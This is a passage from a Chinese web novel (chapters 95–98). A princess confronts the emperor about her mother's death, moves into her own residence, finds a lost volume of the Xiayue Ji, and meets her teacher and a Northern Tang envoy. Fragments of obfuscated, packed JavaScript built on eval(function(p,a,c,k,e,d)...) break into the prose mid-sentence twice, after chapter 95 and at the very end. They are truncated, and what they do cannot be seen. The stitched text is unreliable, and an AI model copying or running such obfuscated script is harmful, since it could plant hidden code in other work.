“问心无愧让你跪着,岂不平白无故让你受了委屈。”清武帝暗讽一句,“朕听闻你跟银来庄的关系不简单,擅自出宫去了宁缘城,说是被劫,当天夜里雷雨虽大,可不至于一点动静都没有,朕怕你再受到受伤害,安排在附近的暗卫愣是一点异常都没发现,没有动静,就说明是你自己主动离开的,无人劫持。” “是,当天是我主动想离开,因为宿宁听到了一些风声,关于当初母亲死亡的风声,我知缘楼消息甚广,普天之下,皇上若不愿告诉我,就只有在缘楼能让我知道答案!” 她说得字字铿锵有力,也句句委屈。 “至于银来庄,宿宁跟他们从未有过牵扯,就算有不过是顾客和掌柜的交情,我存些银子在作为大魏的第一钱庄银来庄里,留着日后傍身,宿宁觉得这都乃人之常情。” 清武帝听到跟连漱有关的事时面色变了变,就连她后面解释的话都不在意了。 “你听到什么风声?” 李之夭平静的眸子里似乎想到什么事,眼泪顺着她的眼角滑了下来,“我听到消息说当年母亲其实是有机会活下来的,只不过是舅舅的选择,才导致她走到跳下城墙的举动,是不是舅舅?” 95. 福泽 第95章 清武帝下意识后退一步,神色恍惚游离,到最后说话时目光躲闪,“这些话你都是听谁说的?” 李之夭本想拿此事试探清武帝,起初心里还存着一丁点幻想,万一这些都是沈齐说出来让他们离心的离间计,看到清武帝反应后,一切不言而喻。 是以,沈齐没骗她,说的都是真的,她看到都是真的,李之夭心中悲怆,不是装出来的,真真切切感受到悲伤,比那日她看着铁骑踏进燕国宫墙,还要来得悲戚。 “舅舅,她…她是您妹妹啊。”李之夭眼泪掉下来,头缓缓磕在伏在地的手上。 清武帝顺手拿起桌上的茶盏重重砸在地上,碎片四溅,湿了李之夭的裙边,他高声怒不可遏的嘶吼出来,“你听谁说的!” “谁说的现在重要吗?现在舅舅是不是也想杀我灭口?” 清武帝怔在原地,泄气地靠在案上,胸口剧烈起伏,“你怎么能这么想?难不成我这位舅舅在你心里就是这么不堪吗?” 李之夭从怀里取出一本书,上面写着《周居山游》四字,双手呈递至头顶,“这书是舅舅先前送我的,我一直带在身上,舅舅借此提醒警示,宿宁早就知晓,周居外出游历,见识大好山河,在外光鲜亮丽,可回到家中连他的糟糠妻都不如,舅舅的心境早就变了,不知是否跟周居一样,里外判若两人。” 清武帝伸手触碰到书册,那一瞬间心底陡然升起万分悲凉,他苦笑着,想哭却又挤不出眼泪,想笑,却又比哭还难,反反复复,他掀了李之夭的手,将书扬在地上。 他警醒李之夭的书,没想到有朝一日会回到自己手中。 提醒者反被下者讽刺,他当日因为疑心送出去的回旋镖,终究是落到了自己头上。 “我不想你母亲死的,可她是知道大魏为何进攻燕国真相的当事人,为大魏开疆扩土,朕乃史书上史无前例的第一人,必将青史留名,万人俸送,若燕国皇室覆灭,谁来住持燕国,你的母亲么?她从小接受的道德,理念,学识和眼界,全都是我交给她的,哪怕当初她一匹马只带着一个侍卫孤身和亲的气魄,我都能看到自己的影子,她若是执掌燕国,万一日后……” 清武帝哽咽出声,不敢再往下说,双眼苍苍。 “万一日后她变成现在的你,铁骑有朝一日也跟你一样踏进大魏的国土。”李之夭把他为说完的话补充完整,她从地上站起来,平视清武帝。 心思戳穿,他想过一千一万种借口,最后话到嘴边什么都说不出来,不知自己该怎么辩驳自己心里最真实的想法,那些埋藏在用亲情和愧疚捆绑下,龌龊的想法,找不到一句辩驳。 李之夭扯起嘴角,“母亲在异国,她时常跟我提及你的好,十五岁之前我顽劣,所有人排斥我的身份,觉得我燕国血统不纯正的皇子,我就不该存在他们辉煌的宫里,我嚣张跋扈,没人护我,我就自己护自己,我把人打伤了,打残了,捉弄活得像个小霸王,我自己最后也会被打得半死。” 她想起好多觉醒前的事情,若是不能觉醒,她也正会如书中所言,一步一步走向裴淮他们的陷阱,恨着这片土地,迫不及待想要回燕国。 “母亲不懂医,在燕国生病都没人治理,她就自己学医术保命,好几次把我救回来,我醒了,她就跟我讲从前跟你在家,在村子里你护她,舅舅你身为兄长,家中最讨人喜欢,期盼最高的那一个,你不顾爹娘反对,亲戚白眼,乡邻不解,教母亲识大体,认天地,知百姓喜忧,晓是非,能言善辩,独立清醒,心中道义和情谊最是不能舍弃,这些都是你教她的。” 觉醒后,李之夭才意识到,从前她最不喜欢听的东西,都是母亲在苦口婆心的规劝教导,在指引她朝正确的路上走。 她被这个世界的法则蒙了眼,活成书里的样子,从未跳出字句编写。 以至于现在从前不屑一顾的东西,成了她不敢奢求的存在。 “母亲从来都没忘记,是舅舅你变了,你把这份愧疚想弥补在我身上,给我大魏公主的封号,享受大魏公主的待遇,同时你也怕我成为母亲那样的人,燕国你得到的名不正言不顺,所以哪怕我承诺过几多次从不会复国的想法,你始终不相信。” 李之夭颓废地站在原地,将清武帝的全部心思刨出来,赤裸裸的摆在眼前,把他从头到尾的伪装撕扯下来。 “你若信,朝中大臣手底下的刺客,压根不能进到宫里来,你既希望我活着,成为你感念故人的象征,又不希望我活着,怕把我养成推翻你王朝的一把刀,如此矛盾,反复折磨。” 清武帝自嘲笑出声,并未做言语,孙广全在一旁疯狂给李之夭使眼色,自己心里也后悔得要死,怎么当时自己选择留下来,不走呢。 心中忐忑万分,大气不敢出,恨不得现在能有当头一棒把自己打晕过去,什么都没听见。 “银来庄一事,若舅舅认为我有祸心,舅舅便这般认为吧。”李之夭冲他叩首,静候其发落,但等了良久,始终未闻清武帝声音。 直到门外传来沈齐的声音,“皇上,微臣沈齐前来觐见。” 孙广全低头等帝王发话,清武帝清了清嗓音,挥了挥手让他下去开门,沈齐走进来的时候手里还拿着一份折子,和书信。 对跪在地上的李之夭视若未见,把折子和书信呈递给孙广全,由他代为转交,做完这一切后也跪在地上,“臣游历两年,所见所闻皆写在奏折上,望皇上过目,山川河海,海晏河清,新旧两朝百姓对皇上政绩赞不绝口,其中对为我朝不利或有所改进的陈冗杂苛也都砸奏折中,另外臣途径宁缘城时,有人托臣给皇上送来一封信。” 清武帝目光从厚厚的奏折上移开,去拿书信,打开看到末尾落款署名时候困惑抬头,“纪无涯?” 信封里还夹杂着几张契纸,看清契纸上的所属人名字的时神色终于暗淡下去,最后哈哈自嘲笑起来,“银来庄所属竟是纪无涯,不是你?” 最后三个情感过于复杂,难以置信,又有几分释然。 李之夭思绪微顿,没想到纪无涯把银来庄反手送给了他。 “纪无涯在信上把你去缘楼的前因后果交代清楚了,说上次给你的解药里夹杂着别的毒,为了解毒,你才不得不去缘楼,还平息了一场有预谋的江湖和朝堂之间的斗争,主动将银来庄归为朝廷所有。”清武帝顿了顿,他看着信里的字,最终念出末尾的话,“想以此换你一个自由。” 李之夭惊讶抬头望向清武帝,他已经拿着银来庄的契据,目光深深望着自己,用最体面的方式,结束了他们间的对峙,和该有的结果。 “银来庄既然跟你无关,过去之事是朕错了,但你还是大魏的宿宁公主,他既用银来庄换你自由,外头为你置办的公主府已建好,明日你就搬过去吧,无人限制你的行动,一切都按公主的用度来,夭夭,你是阿妹留下唯一的孩子,朕既答应了阿妹,就一定保你后半生衣食无忧,自在喜乐,也无人敢动你。” 听着清武帝这番话,所以,她总算明白纪无涯在想什么,若非银来庄在此之前已经易主,哪怕就算今日她置之死地而后生,结果也终究是两败俱伤。 但现在银来庄在纪无涯名下,自然让清武帝打消了对她的疑虑,清武帝想要大魏的第一钱庄,想要的东西送到手里,沈齐的出现,恰好打破了他们之间的气氛。 让一切都变得体面。 李之夭走出御书房的时候,外头忽然刮起风来,天气炎热,风却是凉的。 可他纪无涯凭什么拿了她的钱,就这么自以为是的把她一切都安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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——吾皇亲启,缘楼右.党派居心叵测,暗下剧毒,想借此谋害宿宁公主性命,引发朝廷和江湖斗争,挑起风波,给北唐小人可趁之机,幸得公主不顾生死落定大局,粉碎阴谋,几次三番救属下于水火,先闻公主思念娘亲,不得娘亲望其自由快乐之志,间事发一二,我与公主同生共死,历经艰辛磨难,唯将名下银来庄献于皇上,并往北唐行刺其皇,至生死于度外,乱其北唐,荣我大魏繁华,惟愿换公主一世自由,允我携报公主恩泽,盼其往后福禄绵长,皇上长乐无极。 纪无涯打马奔在前方开路,身后是裴淮他们的人马,好不容易落脚歇息时,体内邀月毒发,雪守在他身旁,为他裹紧被子,不停帮他擦汗。 他蜷缩在床上咬死牙关忍着剧痛,面色苍白,险些疼晕过去,身子不停哆嗦,脖颈和手上青筋暴起。 “师兄,咱们不去了,师兄,我替你去杀了那狗皇帝,你这样会死的。”雪说着就要往外走,被纪无涯一把拽住。 他从唇齿艰难吐出断断续续的字句来,“别、你别去…若我死了,我要你为我收尸,况且,这是我的事。” 雪眼泪一直没断过,她跪在纪无涯的床榻边,把头抵在床榻边上,极力压低着声音哽咽,“十三师兄,寻方那个大骗子已经丢下我了,小十九不能再失去师兄你这唯一的亲人了。” 此时门外穿来扣门声,杨刻的声音在门外响起,“北唐宫里有人派出杀手刺杀璃王殿下,他希望你们今夜能去帮忙扫清障碍,再过五天,就能抵达北唐都城,璃王殿下不希望出岔子,纪无涯,你懂吧。” 纪无涯坐起身,努力平复气息,伸出去的手握住床头长剑,那瞬间,他只觉得自己握剑的力气都没有。 “好。” 96. 上卷 第96章 九月初五,是宿宁公主出宫开府的好日子,因准备离开的时间仓促,所以一大早宫里就派了人出去先做准备,等李之夭这边宿宁宫里的物件需要带走收拾得差不多装上马车,由大内的小公公们运出去。 李之夭带着时雨春夏和小顺子三人去跟清武帝辞行,昨日刚到京城,今日便风尘仆仆的出了宫。 清武帝从宫里拨了一批丫鬟婆子给李之夭带着离开。 谢过皇恩后他们再也不会跟从前一样说些家常话,舅甥之间多了几分疏离往来,临行前清武帝开口,“等一等。” 他叫来后头的秦立山,“宫外比宫中危险得多,你给她安排些侍卫人手,务必保证她日后的安全。” 秦立山拱手,李之夭道谢后便离开了。 出宫的事情比想象中更加顺利,她似乎还能听到段兰之宫里传来的敲锣打鼓声,若非宫中明令禁止,她都相信段兰之能在宫里放起鞭炮来。 清武帝面色铁青的听着后宫里头传来的声音,出发在即,他也顾不上现在就去找段兰之算账,“夭夭,朕答应的绝不会食言,待你出嫁和亲时,朕绝对为你风光送行。” 她的宅子落在城北临水的地方,后院是一条幽静小道,小道临水,岸上杨柳青青,位置不算繁华,胜在僻静。 宅子牌匾尚未题字命名,在等着李之夭取名字。 里头先行的婆子丫鬟小厮早就忙活起来,除尘扫灰,赏赐的宝物前前后后送进来,堆在院子里,花花草草也多得数不胜数。 他们刚到宅子,时雨他们就忙下下去吩咐婆子们做事了,时雨为李之夭身边的大丫鬟,春夏居二,小顺子第三,都是一路跟着李之夭走到今天的心腹,李之夭自然不会亏待他们。 只是原本说好等出宫后就给他们名下划几处铺子地契的条件,现在怕是不能作数了,本该是开心的事,李之夭无论如何都开心不起来。 秦立山将选好的侍卫送到府里让李之夭过目,有嬷嬷上来禀告,“主子,府中的管事求见。” “管事?我府中管事给时雨就成,不需要外人。” 嬷嬷继续道:“主子要不还是见见吧,他似乎带了很多东西来。” 等把人领上来李之夭登时睁大双眼,没曾想来的竟是耿进才他们,耿进才规规矩矩地行了一礼,“我是派发下来的管事,见过主子。” 说完小二自觉地站出来让旁人把他们带来的箱子各种拿下去放好,周边有人李之夭不好表变得过于自然,压着满腔疑问认下了送来的管家,小顺子让嬷嬷和其他人下去该忙什么继续去忙。 周围没不认识的人得了空李之夭才找到机会问耿进才,“你这是怎么混进来的?我记得府邸的管事都是从宫里或者户部那边选了送来。” 不光耿进才和小二,就连金三娘和骆寒山以及银来庄里的小厮都跟着一起来了,耿进才嘿嘿跟众人对视一眼,“我上次回来主子处理事宜的时候,顺便去了趟户部,在他们门前哭了一个时辰,我说如果不把我举荐过来,我就把户部尚书他欠银来庄银子的事告诉给他夫人,户部尚书是个妻管严,怕他的夫人,就同意了,回来后也没闲着,之前从凤山带回来的古籍,还有钱财,我并未记在银来庄账上,这些都算在主子的名下,这不今日一并把这些全部给你带过来了。” 李之夭心情稍有好转,如今银来庄已归为国有,里面的大小事全部都会由朝廷的人接管,他们这些做工的,自然全部离开。 “我现在一无所有,你们还愿意跟着?” 众人都说愿意,“主子绝非池中鱼相信会有东山再起的一日。” 安排了他们职位以后,院子里主要事宜都交到他们手底下,飞鸿继续担任暗卫,踏雪则是成了侍卫长,原本有不服气的侍卫,被踏雪揍了一顿后也都老实了。 管家还是继续由耿进才,金三娘为副管事,骆寒山则当了账房先生,小二帮他打下手,其他人原来在银来庄干什么,现在依旧干什么。 当时嬷嬷被支走,秦立山也跟着离开回避了,现在估摸着李之夭这边差不多,才重新绕回来,“公主院子四周查探过了,没有可疑之处。” 手底下的人抬上来一块牌匾,“该给园子取个名字了。” 李之夭笑道:“不必麻烦,就叫桃花源,娘亲会喜欢的。” 桃花源三个挂上宅子的门头,她这辈子,似乎都在争斗和颠沛中度过,事事忙碌,求得自由想要分安稳,找到属于她的桃花源。 桃花源难求,安稳自由更是难得。 送走秦立山,小顺子跑来小声道:“主子,时雨在库房从带来的古籍中有发现。” 库房里都耿进才和金三娘都在了,古籍整齐放在架子上,书页被毁坏的用匣子装起来,外面用封条贴上名字,时雨手上的古籍年岁悠久,书页泛黄,却保护得很好,隐隐还能闻到一股八角和花椒的味道。 书页上草书龙飞凤舞写了三个大字,灯盏凑近—— 下月集。 李之夭脑子里忽然嗡的一声炸开,久久回不过神。 纪无涯寻了很久的下月集,甚至派人多方打探,燕国失传许久下月集上卷,竟是从大魏的凤山藏宝暗室里出来的。 若非这次出宫,她永远都想不到下月集就在自己手里,就这么阴差阳错,歪打正着的。 惊喜来得过于突然,没有任何一点铺垫,宛如天上当真落下馅饼,正好砸在了自己手里。 “时雨,把大若心经给我拿过来。” 对比两卷上的字迹,一模一样,燕国开国皇帝小楷写得很好,可他尤喜欢草书,除了书籍的正文,注释和书封的名字全都草书所成。 李之夭握着下月集上下两卷的手发颤,他们围坐在一起,郑重的翻开了下月集上卷的第一页。 书中记载燕国开国皇帝从纳多族出世,不想安居一隅,出来的时候还带走一批同样跟他有抱负的纳多族,他身为纳多族邀月使其中一员,虽明其中利弊,更不甘心就此生命消亡。 机缘永远不会主动出现在眼前,凡事坚信有因有果,邀月毒世代传承,他辗转两朝,最终来到月缘山,让跟着一起出来的纳多族在此安居,会武的人组成一股势力,这便是初代缘楼的由来,到最后逐渐扩大,他们只要无家可归的孩子,最后高楼筑起。 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骆寒山道:“皇后草莽杀手出身,皇上新国初建,免不了要为了巩固实力扩充后宫,江湖人最讲性情,万一是受不了皇上后宫,帝后不合,这才两者反目,换做是我,一直陪着打天下的爱人最后免得面目全非,我也受不了,想同归于尽的心都有了。” “也不一定。“时雨道,“书上说初帝邀月毒侵入肺腑,万一是找到法子,初帝不肯治,或他觉得自己活不了太久,气走楼主,故意为之呢。” 金三娘点头:“你们说的都有道理,可我更偏向于骆师傅。” 耿进才发表意见:“这波我站时雨,出生入死的感情,怎么可能这么容易破碎。” 就在几人看得专注时,小顺子进来通传:“主子,皇上来了。” 李之夭将下月集收好,准备有时间下次再看看其中线索。 出了库房,清武帝已在堂屋里坐着了,小丫鬟奉上茶,见到来人,等过完礼节后他才道:“桃花源,是个好名字,阿妹最喜欢的便是陶翁的《桃花源记》,记在心里滚瓜烂熟,没想夭夭你当真跟你母亲一样。” 李之夭笑着应了句是,后面清武帝又说了些关怀的话,问时雨和管家耿进才哪里还需要添置物件直接去跟孙广全说,客气话他们听听也就过去了,哪敢真去跟宫里要。 除了俸禄和每月赏赐下来的东西之外,赐了宅子,就不能事事依靠宫里。 “今个儿初五,再过五日,北唐使团便到了。”清武帝欲言又止,李之夭自然明白他的意思。 “决定的事不会更改,请皇上放心。” 看着李之夭跟自己生分的模样,不似从前会唤他一声舅舅,清武帝又念起桃花源,想起死去的连漱,心中感念物是人非,只是他既然坐到这个位置上,就没有回头路可以走。 第二日一大早,天刚蒙蒙亮,宅院门口燃了鞭炮,迎乔迁之喜。 恭贺的人没多少,路过的百姓会说句祝福的话,他们院子里的人该干嘛干嘛,只不过第三天晚上时,徐子清却来了。 97. 老师 第97章 听到通传的时候李之夭正在亭子里翻看下月集,因为纪无涯卷钱跑路,说好的断玉也没交到她手里,若是能抢占先机知道邀月毒的解法是什么,还有谈判的余地。 她将下月集小心收进原先装它的锦盒里,再将下卷盖在上面。 这段时间查了耿进才送来从京城去往宁缘城的大臣名单,一共有五位,徐子清也在其中。 一时半会儿,李之夭对徐子清的感情有些复杂,他是自己刚来大魏第一位愿意跟她接触的人,还收为学生,可出现在那样的场合下,免不了让人生疑。 徐子清今年已过七旬,头发花白,胡须都白了,他穿着简朴,一袭灰色儒袍,走路时步履生风,衣袂翻飞。 李之夭起身迎他进凉亭,吩咐春夏去泡茶,“将皇上赐下的顾渚紫笋拿来给老师品鉴品鉴。” 徐子清先行落座在主位上,李之夭坐于他的右侧方,等春夏将茶送上来,刚呈上来便闻其馥郁香气,汤色清冽,入口甘甜,回味无穷。 茶盏放下,徐子清感慨道:“也就只有公主这里才能喝到这么好的茶叶了。” 李之夭再帮他添了点,“老师若是喜欢,我让春夏把库房里的顾渚紫笋全都给老师,老师知道的,我素来不爱这一口。” 徐子清赶忙推辞说不用,“公主若是不嫌弃,日后我嘴馋,过来向你讨要一杯就是,贡茶贵重,不敢收下。” 她观察徐子清的样子,昨日刚回的京城,今日就来寻她,想必不知她日后可能会去和亲的消息,于是试探道,“若幸运,老师日后可常来,若是不幸,老师若是念起,宿宁怕也不能再陪老师闲聊。” 不出意外的,徐子清反应惊诧,不像是装出来的样子,“何故此言?” 李之夭故作为难,春夏在一旁适时开口替她接话,声音愤愤,“后日北唐使团进京,有消息说他们很有可能是想跟我朝和亲,若是和亲,皇上膝下尚未有适龄公主,朝中大臣也不愿意把自己的孩子交出去,主子已自请做和亲公主,跟北唐搭上这门姻亲。” 徐子清沉默良久不能出声,他看向李之夭的目光很是复杂,最后竟红了眼眶,“我前段时间收到一封从京城传到我手里的信,信上说你被绑架,要我不许惊动朝廷前往宁缘城,后面我到宁缘城,发现那里竟成一团乱麻,江湖势力动荡,没曾想丞相沈齐那个老东西也在宁缘城蹚浑水,我见他之后,还让他跟我一起走,没想他却自己跑了,还知沈齐险些被人暗算,我尝试去找你,但我从客栈出来的时候,你已不在宁缘城,再收到消息就是你回宫的时候。” “老师以为此事是为何?” 既然徐子清主动说了这件事,想必他也明白其中利害,李之夭愿意听他把话说完。 “我想应该是被人摆了一道,虽不知其人身后目的,总归不是好事,你当时在宁缘城是如何逃走的?” “老师昨晚见到皇上了么?”李之夭反问,见他点头说是,才接着往下把话说完,“若见到皇上,老师也就知道我身边有暗卫的事,牛大壮见过他们,驻军的人也都见过。” 徐子清反应过来,“你是依靠他们才得以逃脱?” 李之夭想了想,只将飞鸿隐瞒起来,只说了暗卫只有一人,当时她是跟踏雪和金三娘一起去到天水城,有人瞧见,若后面清武帝再提及,不至于说不出来。 “只有一名女暗卫。” 她观察着徐子清的神色,见他不是在演戏顿时放松许多,但心中芥蒂还有,她不得不再提及沈齐,“其实我见过沈齐,在宁缘城的时候。” 徐子清再度饮了一口茶,“他老喜欢抓着你们这群小辈谈天说地,说趁着年轻要赶紧去外面走走的话,过去常常在我耳根前念叨,烦人得很,两年前我们还大吵了一架,这老头儿,撂挑子不干了,跟我怄气这些年,脾气跟孩子一样。” 说着说着自己都无语笑起来。 李之夭也说是,“沈相确实喜欢这么说,不过此行我也得知一个消息,学生有不懂的地方,还请老师为我解惑,是关于……” 话没说完,一道清脆怒气腾腾的女声传来,“李之夭!你到底要把我关到什么时候,我劝你赶紧把我放了!” 洛萤提着裙子蹬蹬跑过来,不由撞见坐在这里的徐子清,她站在原地后面的话怎么都没说出来,徐子清满腹疑惑地望着她,“这位姑娘是?” 李之夭赶紧跟他介绍,“这是我在宁缘城顺手绑过来的云来间的花魁,想暗算我,可惜一直没机会动手。” 洛萤不屑得轻哼一声,继续不满抱怨,“我什么时候说要暗算你了,少往自己脸上贴金,你要不还是放我回去吧,你也说了我是云来间的花魁,再不回去,花魁都要易主了。” “从你身上搜出来一堆暗器毒药,还说不是想暗算我,难不成你想借着嫁给纪无涯的名义暗算他啊?”李之夭招呼侍卫来把洛萤带下去关起来,“你要暗算他,当初在宁缘城的时候有的是大把机会动手,可你偏偏没有,那时候纪无涯跟我走得近,你想通过他来找我,不是暗算我还是什么。” 洛萤盯着她,最后发狠地跺脚转身离去,刚出凉亭,就被侍卫带走了。 徐子清喝完杯中茶水,春夏从紫砂壶中重新为他添上新的。 侍卫人走远,李之夭才重新落座,“我本不想为难她,只是她我不得不防。” “她既有心害你,为何还要留在身边?”这样的行为令人费解。 “老师你教过我的,不确定是否能把控的事物,留在身边就好了,洛萤不会无端想谋害我,背后定是有人指使,我不想对一个姑娘用上审讯的那一套,世道本就不易,她尚且能在舞台上光芒万丈,日后也该如此,若是毁了她的光,成就我的一切,也不是我愿意看到的,再说她目前并未对我做过什么过分的事。” “你能这么想,我觉得从前没白教你。”徐子清欣慰地点头,“我名下有很多的学生,其中有不少在朝为官,有的跟我渐行渐远,心思敏感,认为接近的人都是别有用心;有的跟我抱怨仕途不得志,世道艰难,始终郁郁寡欢;有的满腔热情却付之东流, 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他负手而立,陷入冗长的回忆里,“我见过你母亲好几回,也请教过我不少学问上的东西,她是个及其聪明伶俐的姑娘,学得快,记的也快,若非出生在那样的家庭里,她未来必定敞亮,可惜除了有皇上帮扶,她还是只能靠自己走到今日,我从未见过那样坚韧的姑娘。” 微风拂面,徐子清的声音缓缓入耳,“说出来不怕你笑话,当时我看到连漱的信后,竟担心日后燕国若是交到她手中,会给大魏带来威胁,所以我向皇上谏言将燕国收入大魏,成为大魏的国土,可我没想到这样的举动,会让她丢了性命,所以在你进宫之后,也是我跟皇上请求做你的老师。” 李之夭指尖微微发颤,眼泪猝不及防的落下,她红着眼眶询问徐子清,“所以你成为我的老师,仅是因为心里的那份愧疚,才主动对我示好么?” 徐子清的说法跟沈齐的说辞别无二致,她看得见徐子清对她地坦诚,有问必答。 十五岁的她进到大魏皇宫,徐子清身穿官袍垂绅正笏,仙风道骨,两袖清风的模样,走到她跟前微微俯身行礼。 ——宿宁公主,臣日后便是你的老师了。 如今的他坦然承认,李之夭宁愿他什么都不说,为自己辩白几句,说是欺骗她都行,反正对于徐子清说什么她都会信,也愿意相信。 书中至死守在大魏城墙外的太傅徐子清,一心为国,她宁愿相信是那个从始至终哪怕国破了都不曾露面的沈齐是骗她的,也不愿信这一切都是事实。 徐子清拱手郑重道:“公主,老臣身之将死,不足为惧,惟愿这副残躯留在世间时,尽可能帮大魏扫清一切障碍,为新皇铺路,该死之人不得留一丝恻隐之心,牺牲一部分人,换天下太平,未来百年静好,在所不惜,若因私情动摇大魏基业,毁了未来盛世,臣心中有愧,还请公主恕罪。” 徐子清离开的时候,时雨守在门口,茶叶为他打包好,顺带还送了快一马车的补品,和几本古籍字画,知道他喜欢这些,所以李之夭早先吩咐下去准备礼物给的也毫不吝啬,有几本都是之前从凤山带出来。 院子里没人的时候,飞鸿才现身,从腰间取出一枚断玉。 98. 宴席 第98章 飞鸿手里拿着的正是那枚断玉,李之夭诧异:“怎么会在你这?” “从幕阜城回来的路上发现的,但那时候人多眼杂,不方便把此物交给主子,后来进京也没机会,这几天忙得忘记了,今日才想起来。”飞鸿说完抱拳跪下请罪,“希望没给主子造成麻烦。” 李之夭将断玉仔细打量片刻,心中并没头绪,找到金三娘让她找人把断玉的样式临摹下来,然后去城里找找有没有人认识这物件的。 若飞鸿早点拿出来,或许还能趁徐子清在身边的时候找他帮忙看看,身为朝中太傅,对断玉的工造会熟悉许多。 这是找出智先生唯一的线索,李之夭不敢大意马虎,如今四面楚歌,又觉得不能过于轻信于人,所以派下去查的人都是宫外的人,没惊动宫中朝里的人。 是夜,桃花源四周的围墙上慢慢探出几个脑袋,时雨端着厨房刚做好的茶点朝李之夭的房中走去,穿过院子时,一支利箭从紧绷的弦上飞射而出,直奔时雨。 在附近的飞鸿察觉大喊一声,随后扑向时雨将其扑倒在地,利箭穿过飞鸿的发顶,削落他挽发的发带,连带落下几缕发丝。 茶点撒了一地,踏雪带着侍卫赶来,瞧见墙头上的蒙面杀手,下一瞬,黑衣人们手中利箭尽出,他们迅速找掩体躲藏。 箭矢全部射完后,杀手们似乎不打算动手,趁机撤离。 生怕是声东击西之计,踏雪只让一小部分出去追赶杀手,剩下的侍卫则是留在府里做好戒备。 今晚的行动仿佛只是一次试探,李之夭带人重新在府上布置好机关,训练府里的下人不要触碰到机关。 直到北唐使团进到京城那日,也不见杀手们再动一次手。 北唐领头的皇子是五皇子,排行在裴淮之上,名叫裴承泽,他性子顽劣,招猫逗狗,整日不着边,他母亲是北唐名门望族的嫡女,手握北唐三分之一的商贸,安庆帝娶她正是看中她手里的商户和经济,奈何膝下的孩子就是不争气。 李之夭记得文中所说,裴承泽这次出使的机会是他母亲帮忙争取来的,想锻炼一下其能力,发展一下自身势力,裴承泽扮猪吃老虎,最后是最有机会跟裴淮争皇位的人。 可惜在关键时刻恋爱脑犯了,栽在苏月清手里,被裴淮一箭射杀在奔驰的马背上。 书中对苏月清和裴承泽的关系让人唏嘘,也让裴淮暗戳戳吃了不少醋,也是因为他才让裴淮和苏月清认清自己的心,两人感情突飞猛进。 这里已是书的后半段,因为这次前期一直被李之夭捣乱,他们不是在逃命就是奔波的路上,压根没时间发展巩固自己。 李之夭明显感觉到自己的一点力量最终汇聚成山川河流,让书本的剧情发生了改变。 所以和亲圣旨下来的时候,她并不觉得惊讶,和亲对象正是裴承泽本人。 现在天色已至黄昏,宫里的开设晚宴,她身为和亲对象,自然也要进宫赴约。 时雨和春夏帮她穿好宫装,带着扮做宫女打扮的踏雪和小顺子进了宫,她进来的时候,刚好除了她就是裴承泽尚未觐见了。 清武帝:“刚好,宿宁你且等一等,传北唐五皇子。” 内官的声音一道一道传出去,不过片刻,裴承泽带着几名属下便上来了,他们微微鞠躬算是见过大魏皇帝,又说了一番客套话。 “她就是大魏的宿宁公主,大魏刚建两栽,却也是朕费心养育的孩子,担得起你这五皇子正妃之衔。” 李之夭冲他笑了笑,微微俯身:“宿宁见过殿下。” 裴承泽一双桃花眼目光潋滟,身着他们北唐的正装,模样周正,虽说已过弱冠之年,身上总带着股少年人的影子。 “这就是本王的王妃,魏皇当真舍得?” 清武帝摆摆手,“若能换两朝安稳,牺牲小我,成就万千,有何不可。” 他微微勾唇,没在继续往下说,歪头看向李之夭,企图从她身上找点不乐意的影子,没曾想李之夭却是困惑地回望,最后又娇羞的别过头去。 如此一来,就是定下了他们和亲的事。 宫宴上筹光交错,推杯换盏,宴席刚过一半,清武帝已携着贤妃沈宁离席了。 连常欢贪嘴,所以段兰之她们并未离开。 裴承泽凭借社交的本事,此时跟大魏的同龄人中混了个眼熟,他目光时不时朝李之夭这边扫来。 小顺子不动神色地用身子挡住那些目光,踏雪帮李之夭布菜。 段兰之坐在李之夭不远处,此时裴承泽敬酒正好走到附近,她笑吟吟地望来,似是有意无意的提及他们的婚事,“听说和亲这门子亲事,是宿宁自己跟皇上请来的,原本皇上想选的人不是宿宁,这门婚事也算宿宁的一个好归宿了,可惜了我家长欢年纪还小。” 有北唐人的将军听闻,好奇地打量着李之夭,“竟是公主自己愿意的。” 段兰之捂嘴笑起来,“可不是,要我说这是天大的缘分,宿宁自己可眼巴巴的嫁过去了。” 顿时场面安静下来,沈齐坐在席间无奈,她本想嘲讽李之夭上赶着嫁到外国他乡去,但如今当着北唐人的面说出来,就好像变成了是他们大魏求着这门亲事一般,瞬间落到了下层。 况且大公主年纪不到,若不是李之夭自己提出来,和亲的就换成他们中间其中一人的闺女了。 气氛瞬间有些尴尬,不光朝中的大臣就连北唐使团听了都心思各异,裴承泽笑出声:“看样子,本殿下的名字不光在北唐威名远播,甚至都传到你们大魏京城来了。” 裴承泽的打趣让现场气氛缓和了许多,李之夭站起身冲段兰之愧疚道:“是宿宁不是了,本该这婚事是落到大公主身上的,是我抢了婚事,若娘娘不愿,大公主再有三年便及笄,不妨跟皇上请柬,短短三载,也是能等的。” 闻言连常欢撂筷子沉着脸,大声嚷嚷,“母妃,我不嫁,我不嫁,母妃你说过我未来的夫婿只会是天底下最出众耀眼的男子,要我去和亲我不嫁!” 段兰之赶紧捂住连常欢的嘴,北唐的一名将军却不乐意了,“咱们五殿下哪怕对你们来说身在北唐,要模样有模样,要身世有身世,母家家缠万贯,娘娘在宫中备受龙恩,听你们这意思,五殿下还配不上你们的大公主了?” 沈齐出来打圆场,“诸位莫要见怪,大公主年纪还小,口不择言,属于无心之失,还请不要放在心上。” 裴承泽轻笑一声,“你们大魏真是奇怪,有人主动站出来替你们牺牲,怎么有人还不乐意了?我这人说话难听,还是不说了。” 段兰之抱着哭闹的连常欢,死死瞪着李之夭,“你也别高兴太早,你不过是前朝公主,有皇上才有今天,别以为现在有人撑腰,就能称心如意了!” 北唐使者哑然,脑子一下子反应不过来,指着李之夭结结巴巴道:“这不是你们大魏正统的公主啊,前朝?莫不是燕国的公主,岂有此理,你们大魏拿一个前朝的废子妄想嫁入北唐皇室,这就是你们的诚意?” 自知说错话段兰之想为自己辩解,“不是,她虽是前朝公主,但跟皇上还是宗亲,不是你们想的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 